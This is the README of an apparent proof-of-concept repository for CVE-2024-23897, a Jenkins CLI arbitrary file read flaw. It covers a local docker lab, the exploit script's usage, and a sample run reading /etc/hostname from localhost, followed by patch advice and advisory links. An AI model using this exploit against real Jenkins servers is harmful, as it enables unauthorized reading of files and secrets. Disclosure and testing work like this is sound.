Jenkins CVE-2024-23897 PoC

A proof-of-concept (PoC) for CVE-2024-23897, an arbitrary file read vulnerability in Jenkins' built-in command line interface (CLI). It allows unauthenticated attackers with Overall/Read permission to read arbitrary files on the Jenkins controller file system.

Affected Versions

• Jenkins versions <= 2.441
• Jenkins LTS versions <= 2.426.2

Set up a vulnerable instance

Spin up a local vulnerable instance using docker compose:

cd docker
docker compose up -d

The instance will be available at http://localhost:1234

Exploitation

❯ python CVE-2024-23897.py --help
usage: CVE-2024-23897.py [-h] [--url URL] [--file FILE] [--method {1,2,3}]

Jenkins CVE-2024-23897 file-read PoC

options:
  -h, --help        show this help message and exit
  --url URL         URL for Jenkins instance (default: http://localhost:1234)
  --file FILE       File to read (default: /etc/hostname)
  --method {1,2,3}  The method to use [connect-node(1), who-am-i(2), or help(3)] (default: 1)

Example

❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/hostname'
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/hostname
[i] Download request done
[+] Found data, printing...


ERROR: No such agent "jenkins_vuln_instance" exists.

[i] Upload request done
[i] All threads completed

The script may have issues reading larger files due to concurrency and connection timeouts. For more technical details and a walkthrough of the vulnerability take at a look at my blog post on the topic.

Fix

• Upgrade to Jenkins 2.442 or LTS 2.426.3
• Apply temporary workarounds as described in the Jenkins security advisory.

Related Links

• Sonar Source | Excessive Expansion: Uncovering Critical Security Vulnerabilities in Jenkins
• Jenkins Security Advisory - 2024-01-24
• Qualys ThreatPROTECT | Jenkins Core Remote Code Execution Vulnerability (CVE-2024-23897)
• CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability – Horizon3.ai